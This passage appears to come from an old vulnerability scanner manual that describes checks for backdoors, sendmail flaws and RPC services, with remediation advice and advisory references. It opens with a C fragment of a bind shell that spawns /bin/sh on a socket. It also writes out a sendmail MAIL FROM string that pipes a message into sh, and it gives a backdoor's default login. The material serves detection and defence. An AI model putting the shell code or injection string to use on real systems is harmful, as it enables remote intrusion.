&serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() !=
0)
exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(0);
```

```
soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1)  soc_len
=
sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *)
&client_addr,
&soc_len); if (soc_cli < 0) exit(0); cli_pid = getpid(); server_pid =
fork();
if (server_pid != 0)  dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0);
close(soc_cli);
```

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: N/A
Underlying Cause: Configuration
Impact of Attack: System Integrity

4005. ICMP backdoor check

Verbose Description
This check looks for common implementations of ICMP backdoors by sending out a packet and waiting for a reply.

Security Concerns
Attackers have been known to install backdoors on systems using ICMP as the transport protocol which allows them to bypass many firewalls and filters.

The general technique used is to transfer data using ICMP echo reply packets. An ICMP "telnet server" is installed on the compromised computer and watches for specific ICMP packets with data payloads that hold the communications. We have witnessed implementations of telnet using ICMP as the protocol instead of TCP.

Suggestions
If an ICMP backdoor is found to be installed on your host, it is most likely that an intrusion incident has taken place.

If you believe that your system has been compromised, follow your company's security incident response procedures.

This may include:
- contacting the CERT Coordination Center (http://www.cert.org),
- following procedures outlined at that web site: "Steps for Recovering from a UNIX Root Compromise," ftp://ftp.cert.org/pub/tech-tips/root_compromise
- or contacting your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info/)

Suggestions for protection include protecting your servers with packet filtering rules that block all but the most necessary ICMP packets.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: N/A
Underlying Cause: Configuration
Impact of Attack: System Integrity

4006. 'HidePak' check

Verbose Description
'HidePak' is the name of a popular collection of trojaned Solaris utilities that are used by hackers to backdoor a compromised host. Like the 'rootkit' trojan horse collection, this is a collection of utilities that replace system utilities (e.g. the login program) with versions that contain a "backdoor."

This check attempts to identify a trojan /bin/login program by testing the default 'HidePak' login and password.

Security Concerns
If your /bin/login program has been replaced with a trojan version, it is very likely that your system has been completely compromised.

The default username and password used to determine the existance of Hidepak are:
login: "StoogR" password: ""

Suggestions
If you believe that your system has been compromised, follow your company's security incident response procedures.

This may include:
- contacting the CERT Coordination Center (http://www.cert.org),
- following procedures outlined at that web site: "Steps for Recovering from a UNIX Root Compromise," ftp://ftp.cert.org/pub/tech-tips/root_compromise
- or contacting your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info/)

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: N/A

Underlying Cause: Configuration
Impact of Attack: System Integrity

4007. Back Orifice Backdoor Check

Verbose Description
Back Orifice Backdoor Check

Back Orifice is a backdoor program for Windows 9x written by a group calling themselves the Cult of the Dead Cow. This backdoor allows remote access to the machine once installed, allowing the installer to run commands, get screen shots, modify the registry and perform other operations. Clients programs to access Back Orifice are available for Windows and Unix.

The Back Orifice server is extendable via plug-in modules. These modules include the ability to link Back Orifice to start when another, legitimate program is started as well as modules that connect to IRC servers and announce your IP address when Back Orifice is started.

This check detects if a default configuration of Back Orifice has been installed by sending a PING request to the backdoor program on the default port using the default key.

Security Concerns
If this backdoor is found on your system, it may be an indication that an attacker has already compromised your system.

Suggestions
Although it is possible to remove this backdoor, it is advised that you reinstall the system and install all applicable security fixes. The presence of this backdoor on your system is usually an indication of a larger security problem.

To remove the program, it must first be removed from the registry and then deleted. The program is configured to be run at the next system boot through a key in

HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices

It is usually installed under the default key with an entry to run " .exe" (space dot exe), although it may be installed under any name. This key should be removed from the registry and the system should be rebooted. At this point the program is no longer running and the binary may be removed. The binary is found in

Windows\System\

with the name specified in the registry (which is " .exe" by default).

If you believe that your system has been compromised, follow your company's security incident response procedures.

This may include:
- contacting the CERT Coordination Center (http://www.cert.org),
- following procedures outlined at that web site: "Steps for Recovering from a UNIX Root Compromise," ftp://ftp.cert.org/pub/tech-tips/root_compromise
- or contacting your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info/)

References
http://www.cultdeadcow.com/ - web page of Back Orifice authors

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: N/A

Impact of Attack: **System Integrity**

5: SMTP AND MAIL TRANSFER

5001. Sendmail Wizard check

Verbose Description
Sendmail Wizard check

Older versions of Sendmail contained a backdoor which allowed for remote root access with a secret password. This check is designed to discern whether the version of sendmail on the target-host has this backdoor present.

Suggestions
On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

5002. Sendmail DEBUG check

Verbose Description
Sendmail DEBUG check

The check defines whether your mailer will allow DEBUG mode. This is dangerous as the remote user is given the ability to commit arbitrary commands as root via the sendmail port.

Suggestions
On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail

with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

5003. Sendmail program piped aliases check

Verbose Description
Sendmail program piped aliases check

This module collects information about sendmail aliases that are piped to programs. It is common to define aliases that pipe mail that is received to a program for processing.

The following aliases are checked:
- o root
- o news
- o postmaster
- o majordomo
- o decode
- o admin
- o webmaster

Security Concerns
Aliasing an email address to be piped to a program execution may be dangerous. If that program is not well designed to protect against the common attacks (e.g. buffer overflows, escape characters, etc), then this will open a risk to your system.

Mailing list programs, such as Majordomo and SmartList, are commonly used via piped email addresses and have had security problems in the past.

Suggestions
Be sure that the version of any mail processing software you are using is the most recent version and be aware of any past security problems. Reconsider

using a piped program execution via email.

On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

5005. Sendmail VRFY and EXPN check

Verbose Description
This module attempts to gather information from the SMTP port of the target-host about usernames collected by the information gathering modules. VRFY can be used to identify valid user accounts on the system. EXPN can be used to identify the delivery addresses of mail aliases and mailing lists.

Suggestions
Your mailer should not allow remote users to either use EXPN or VRFY as it gives them far too much information. We suggest you remove your mailers ability to use the EXPN or VRFY commands. For systems with Sendmail Version 8, the VRFY command can be disabled by entering the "novrfy" command in the sendmail.cf configuration file. The EXPN command can be disabled in Sendmail Version 8 by entering the "noexpn" command in the sendmail.cf file.

Risk Factor: Low
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

5006. Sendmail mailing to programs check

Verbose Description
This module checks if a mailer running on a given IP address allows mail to programs. The module opens a connection to a given IP address on port 25, sends a HELO command and then sends the following string 'mail from: root' followed by a 'rcpt to: |testing' if that is accepted it assumes that the host is vulnerable.

Notes:
This could report false positives since some mailers won't complain about 'rcpt to: |testing' but will ignore it. That is the case of Smail.

SUGGEST
We suggest that you not for any reason allow your mailer to blindly mail to programs. Depending on your mailer, you will be able to disallow this type of behavior. We strongly suggest you consult the man pages for your mailer and disable this function if it is present.

Piping email to a program for execution may be dangerous. If that program is not well designed to protect against the common attacks (e.g. buffer overflows, escape characters, etc), then this will open a risk to your system.

Mailing list programs, such as Majordomo and SmartList, are commonly used via piped email addresses and have had security problems in the past.

On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

References
CERT Advisory CA-95:08.sendmail.v.5.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-95:08.sendmail.v.5.vulnerability
CIAC Advisory e-03.ciac-unix-sendmail-vulns
ftp://ciac.llnl.gov/pub/ciac/bulletin/e-fy94/e-03.ciac-unix-sendmail-vulns
Aix Patch APAR ix40304

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium

Underlying Cause: Implementation
Impact of Attack: System Integrity

5007. Sendmail bounce 'From:' check

Verbose Description
The 'Bounce' module checks if a mailer running on a given IP address allows return addresses that appear from applications. That is, if its vulnerable to a SMTP bounce attack.

The module opens a connection to a given IP address port 25, sends a HELO command and then sends a 'mail from: |root'. It then determines if it's accepted, and if it is, reports the host as vulnerable.

No attempt to deliver mail is done. An actual attack would consist of sending mail with a 'MAIL FROM' string in the form of:

"|/bin/sed '1,/^$/d'|/bin/sh"

And then a 'RCPT TO' such that it would make the mail bounce and go back to the sender, which would then pass it through the pipe and execute the body of the message.

Notes:
This could report false positives since Smail and the IRIX 6.x sendmail won't complain about "MAIL FROM: |/bin/sed '1,/^$/d'|bin/sh " but will ignore it.

Suggestions
On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

References
CERT Advisory CA-95:08.sendmail.v.5.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-95:08.sendmail.v.5.vulnerability
CIAC Advisory e-03.ciac-unix-sendmail-vulns
ftp://ciac.llnl.gov/pub/ciac/bulletin/e-fy94/e-03.ciac-unix-sendmail-vulns

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

5008. Sendmail (8.6.9) identd check

Verbose Description
Sendmail (8.6.9) identd check

A vulnerability in version 8.6.9 of Berkeley Sendmail allows remote users to execute arbitrary commands on vulnerable systems. This module must be run as 'root', with the systems identd daemon disabled. If the remote mailer doesn't support ident protocol, the module will wait for an ident connection several seconds long, before reporting a not vulnerable site.

Security Concerns
Remote users can execute arbitrary commands on your workstations.

Suggestions
On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

References
CERT Advisory CA-95:05.sendmail.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-95:05.sendmail.vulnerabilities
CIAC Advisory f-13.ciac-Unix-sendmail
ftp://ciac.llnl.gov/pub/ciac/bulletin/f-fy95/f-13.ciac-Unix-sendmail

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium

Underlying Cause: Implementation
Impact of Attack: System Integrity

5009. Sendmail syslog buffer overflow check

Verbose Description
Sendmail syslog buffer overflow check

The syslog module checks if a mailer running on a target host is vulnerable to the syslog attack. Versions of sendmail were vulnerable to this attack by overflowing a buffer within the syslog() libc routine. This vulnerability would allow remote users to execute arbitrary commands as root on the remote server.

Suggestions
We suggest you approach your vendor for a patch or install a newer version of libc if all possible. On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

References
CERT Advisory CA-95:13.syslog.vul
ftp://ftp.cert.org/pub/cert_advisories/CA-95:13.syslog.vul
CIAC Advisory g-09b.Sendmail.Unix.Vulnerability.asc
ftp://ciac.llnl.gov/pub/ciac/bulletin/g-fy96/g-09b.Sendmail.Unix.Vulnerability.asc

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

5011. Sendmail 8.6.11/8.6.12 denial of service check

Verbose Description
Sendmail 8.6.11/8.6.12 denial of service check

This 8.6.11/8.6.12 version check module checks your sendmail banners if available. It attempts to discern if you are running either Berkeley 8.6.11 or 8.6.12. If either are being run it is possible these hosts are vulnerable to a denial of service attack which has been reported on the versions mentioned.

Suggestions
On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

5013. Sendmail (8.7.5) GECOS field buffer overflow check

Verbose Description
Sendmail (8.7.5) GECOS field buffer overflow check

This module checks to see if the host is running sendmail 8.7.5. Berkeley sendmail 8.7.5 has two bugs which allow for local users to gain both default user (most often daemon) or root privileges.

Suggestions
On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

References
CERT Advisory CA-96.20.sendmail.vul
ftp://ftp.cert.org/pub/cert_advisories/CA-96.20.sendmail.vul

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

5014. Sendmail (8.8.0/8.8.1) MIME buffer overflow check

Verbose Description
Sendmail (8.8.0/8.8.1) MIME buffer overflow check

This check attempts to discern if you are running sendmail version 8.8.0 or 8.8.1. Both of the versions of sendmail have a weakness which will allows intruders root access.

Suggestions
On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

References
CERT Advisory CA-96.24.sendmail.daemon.mode
ftp://ftp.cert.org/pub/cert_advisories/CA-96.24.sendmail.daemon.mode
AUSCERT Advisory AA-96.06a.sendmail.8.8.0-8.8.1.Vulnerability
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-96.06a.sendmail.8.8.0-8.8.1.Vulnerability

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread

Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: System Integrity

5015. Sendmail Decode alias check

Verbose Description
Sendmail Decode alias check

Some sendmail configurations include an alias called 'decode' that pipes mail through the uudecode program. By creating and sending uuencoded data to the 'decode' alias, an attacker could for example place an arbitrary .rhosts file onto your system.

Suggestions

Remove the 'decode' alias by commenting out the appropriate line in the file /etc/aliases. Then run the newaliases command to rebuild the alias database.

On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

References
CIAC Advisory a-14.ciac-unix-decode
ftp://ciac.llnl.gov/pub/ciac/bulletin/a-fy90/a-14.ciac-unix-decode

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: System Integrity

5016. Mail forgery check

Verbose Description
Mail forgery check

This check attempts to define if mail can be trivially forged on a target host.

Suggestions
Email address forgery is easy to accomplish and hard to protect against. Often, sendmail "wrapper" or replacement programs offer some protection.

On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

Risk Factor: Low
Ease of repair: Infeasable
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Accountability

5017. Sendmail daemon mode vulnerability

Verbose Description
Sendmail daemon mode vulnerability

This check attempts to discern if you are running sendmail version 8.7 through 8.8.2. These versions of sendmail allow local users to obtain root access by causing sendmail to execute arbitrary commands as root.

Security Concerns
Local users can obtain root access.

Suggestions
On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of

replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

References
CERT Advisory CA-96.24.sendmail.daemon.mode
ftp://ftp.cert.org/pub/cert_advisories/CA-96.24.sendmail.daemon.mode
Upgrade sendmail to most current version
http://www.sendmail.org

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

5018. Sendmail (8.8.3/8.8.4) MIME buffer overflow check

Verbose Description
Sendmail (8.8.3/8.8.4) MIME buffer overflow check

This check attempts to discern if you are running sendmail version 8.8.4 or 8.8.3. Both of the versions of sendmail have a weakness which will allows intruders root access.

Suggestions
On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

References
CERT Advisory CA-97.05.sendmail
ftp://ftp.cert.org/pub/cert_advisories/CA-97.05.sendmail

AUSCERT Advisory AA-97.02.sendmail.MIME.buffer.overrun.vul
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-97.02.sendmail.MIME.buffer.overrun.vul

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: System Integrity

5019. Majordomo Reply-To check

Verbose Description
Majordomo Reply-To check

This check attempts to make majordomo execute commands embedded in the Reply-To field of a request. While processing a "lists" command majordomo compares the Reply-To address against the advertise and noadvertise lists. In doing so, it may be tricked into executing a command while expanding the back-tick operator.

The back-tick (`) is used by Unix to enclose executable commands in a shell command line. In this case, an expression executed in a perl program. The majordomo version noted as being vulnerable are the versions previous to 1.94.3.

Because of the way this check receives notification from majordomo (it waits for a telnet connection from the mail server machine), the check may report false negatives when scanning mail servers that are behind a firewall.

Suggestions
Upgrade to the latest version of majordomo.

If you believe that your system has been compromised, follow your company's procedures. This may include contacting the CERT Coordination Center (http://www.cert.org), follow procedures outlined at that web site, or contacting your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info/)

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

5020. Qmail Denial of Service

Verbose Description
Qmail Denial of Service

By sending a message with a large number of recipients, it is possible to cause Qmail 1.02 and earlier to utilize all system resources.

NOTE: CyberCop Scanner CANNOT determine the version of Qmail which you are running, however CyberCop Scanner CAN detect if you are running Qmail. In the case where you are running Qmail, this vulnerability will always return positive. Ensure that you are running a version of Qmail newer than version 1.02.

Security Concerns
Denial of Service attacks against publicly accessible services, like email systems, are particularly easy to achieve and difficult to protect against. Wietse Venema demonstrated the vulnerability to the Qmail smtpd server (version 1.02) with large recipient lists in email messages. Malicious users can cause your mail server to run out of system resources, causing a crash, and causing mail to be undeliverable for a period of time.

Later versions of Qmail put limits on that aspect of the application so as to better protect against that type of attack.

Information is availble from the Qmail web site (http://www.qmail.org/) discussion archives.

Suggestions
Upgrade your version of Qmail to version 1.02 or later

Risk Factor: Low
Ease of repair: Simple
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: N/A

5021. Sendmail Relaying Allowed

Verbose Description
Sendmail Relaying Allowed

This module determines whether your mail server can be used as a mail

gateway or relay. When used as a mail relay, your host may be prone to "spammers" relaying mail through your host, to reach their intended audience. Mail of the form anyone%yourisp.net@yourmailserver.com is re-transmitted to the target recipient apparently originating from your mail server.

Security Concerns
Allowing mail to be relayed through your host poses several problems:

1. It increases the load on your mail servers. Usually, spammers send hundreds of thousands of messages to their audience, utilizing the victims mail server to relay the messages.

2. It insinuates that your mail server may have been the origin of the mail which was sent out.

Neither of these are desirable, and precautions can be taken to protect your mail servers from this type of abuse.

Suggestions
On systems that do not need email delivery, disable and remove the sendmail daemon. On systems that require email delivery, consider replacing sendmail with smaller, more modular email delivery software. The TIS Firewall Toolkit "smap" sendmail wrappers, Juniper smtpd and Qmail are all examples of replacement mail transport agents.

If sendmail is specifically required and your host reports itself to be vulnerable to this problem we suggest you upgrade your version of sendmail. The latest version of sendmail is available from:

http://www.sendmail.org

New sendmail configuration files are availible which restrict the relaying of mail to those which are explicitly allowed.

For more information, and example configurations, see:
http://www.sendmail.org/antispam.html
http://spam.abuse.net/

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Accountability

5023. MDaemon SMTP Server HELO Overflow

Verbose Description
Certain versions of the MDaemon SMTP server are vulnerable to an attack that allows a remote SMTP client to crash the server, rendering it inoperable, and possibly execute arbitrary commands on the host running the service. Vulnerable SMTP servers overflow a buffer when an overly-long argument is given to the SMTP "HELO" command.

Suggestions
We recommend that the most recent version of the MDaemon software, which is not vulnerable to this attack, be obtained.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation

Impact of Attack: **System Integrity**

6: REMOTE PROCEDURE CALL SERVICES

6003. rpc.admind security level check

Verbose Description
Solaris's rpc.admind is a network service which allows remote administration capabilities to network administrators. This daemon comes by default in insecure mode, meaning it requires virtually no authentication for remote users. This allows remote users to append or change critical system information, including user accounts. This check determines if rpc.admind is in secure mode or not.

Suggestions
If you do not need this service, disable it. Running extraneous services should be disallowed under any security policy. If running this service is essential to your network administration, you should ensure it is running in secure mode.

To configure rpc.admind to run in secure mode, edit the /etc/inetd.conf file and add the '-S 2' option at the end of the rpc.admind configuration line. Once this has been added, you will need to restart the inetd process for the changes to take effect. This can be performed with the following commands:

```
ps -ef | grep inetd
kill -HUP <process ID>
```

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: System Integrity

6004. rpc.pcnfsd execution vulnerability

Verbose Description
The target host was found to be vulnerable to a vulnerability in the "pcnfsd" RPC service which can allow an attacker to execute arbitrary commands as the super-user.

NOTE: To test for the vulnerability status of this service, this module disables the "pcnfsd" service on the target host. You must restart this service if this vulnerability is returned.

Security Concerns
This vulnerability allows an attacker to run arbitrary commands on the target host as the super-user, thus compromising the security of the entire system.

Suggestions
CERT has made a fixed version of rpc.pcnfsd availible on their FTP server at: ftp://cert.org/pub/tools/pcnfsd. Unless absolutely necessary, we suggest that you not use pcnfsd at all, due to a number of other possible attacks.

References
CERT Advisory CA-96.08.pcnfsd
ftp://ftp.cert.org/pub/cert_advisories/CA-96.08.pcnfsd

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

6005. rpc.ugidd daemon check

Verbose Description
This check determines whether or not we can query the remote rpc.ugidd daemon and obtain usernames. The rpc.ugidd daemon is primarily present on Linux installations and allows for mapping UID and GID numbers to usernames remotely. This would enable an attacker to query the server with a range of userid's and obtain remote usernames for these userid's.

Suggestions
Determine whether or not you require this service with your installation. We recommend it be disabled if it is not required.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

6007. rpc.ypupdated check

Verbose Description
rpc.ypupdated is a daemon which is part of the NIS suite. It is used to update changes to NIS databases remotely. Several vendor versions of rpc.ypupdated have a serious security vulnerability which allows remote users to execute commands as root. This check determines whether your host is vulnerable to this attack.

Security Concerns
Remote users can execute arbitrary commands as root.

Suggestions
A fixed version of rpc.ypupdated has not been made available by vendors. This service is generally not required for standard operation and should be disabled in your system initialization scripts.

References
CERT Advisory CA-95:17.rpc.ypupdated.vul
ftp://ftp.cert.org/pub/cert_advisories/CA-95:17.rpc.ypupdated.vul
SGI Advisory 19951201-01-P
ftp://sgigate.sgi.com/security/19951201-01-P

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

6008. rpc.statd link/unlink check

Verbose Description
rpc.statd (or simply statd on some machines) is used to interact with rpc.lockd to ensure file locking keeps state on NFS servers. Many versions of rpc.statd have a vulnerability whereby they can be forced to unlink, (delete) or create files as root remotely. This check discerns whether your version of rpc.statd is vulnerable to attack. There is no method to verify whether this attack worked remotely. The scanner attempts to create a file in /tmp called CyberCop.rpc.statd.vulnerability. If this file exists on the specified host, then your host is vulnerable.

Security Concerns
Remote users can remove any files on your workstations.

Suggestions
This particular program is essential to an NFS environment, if you are running a vulnerable version it is suggested that you approach your vendor for a patch to this problem.

References
CERT Advisory CA-96.09.rpc.statd
ftp://ftp.cert.org/pub/cert_advisories/CA-96.09.rpc.statd
SGI Advisory 19960301-01-P
ftp://sgigate.sgi.com/security/19960301-01-P

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Data Integrity

6009. NIS domain name check

Verbose Description
NIS (Network Information System) does most of it's authentication by the client passing the server the NIS domain name as a password. When a client provides the correct NIS domain name it may request NIS maps. Often an NIS domain name is easily guessable. If this is the case then a user anywhere on the Internet who knows your NIS domain name may request your maps. Passwd.byname comes to mind. Note that newer versions of NIS require the client to belong to an ACL (Access List) such as securenets.

Suggestions
Make your NIS domain name something entirely random and not at all related with your network. An alpha-numeric string would be best.

References
CERT Advisory CA-92:13.SunOS.NIS.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-92:13.SunOS.NIS.vulnerability
CIAC Advisory c-25.ciac-sunos-nis-patch
ftp://ciac.llnl.gov/pub/ciac/bulletin/c-fy92/c-25.ciac-sunos-nis-patch

Risk Factor: High
Ease of repair: Simple

Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Authorization Intelligence

6014. rpc.selection_svc check

Verbose Description
The target host was to be running a vulnerable version of the selection_svc RPC service. This service contains a security vulnerability which can allow an attacker to read any arbitrary file on the target system.

Security Concerns
An attacker can obtain any file from the remote system.

Suggestions
It is recommended that you immediately obtain a patch from your vendor for this problem. This is a well known problem, and all vendors who had shipped a vulnerable version of this service, have also issued a patch.
RISKFACTOR
High

References
CERT Advisory CA-90:05.sunselection.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-90:05.sunselection.vulnerability
CIAC Advisory b-11.ciac-openwindows-selection_svc
ftp://ciac.llnl.gov/pub/ciac/bulletin/b-fy91/b-11.ciac-openwindows-selection_svc
Sun Security Bulletin 101
http://sunsolve.sun.com/sunsolve/secbulletins/security-alert-101.txt

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Confidentiality Authorization Intelligence

6015. rpc.rwalld check

Verbose Description
The rwall daemon is a service which will broadcast messages from remote hosts to all users who are logged into the system. While it is useful

for sending broadcast messages across an entire network for administrative purposes, it lacks proper authentication. This provides an attacker with the ability to send messages to every user logged into your servers. This also allows an attacker to flood users with messages.

Security Concerns
Malicious users can flood users logged logged into the target host with messages that are sent directly to their console.

Suggestions
The rpc.rwalld service should be disabled. The rpc.rwalld service is usually run from the inetd server and can be disabled by commenting this service out in /etc/inetd.conf.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Accountability Availability

6016. Portmapper spoofed register/unregister

Verbose Description
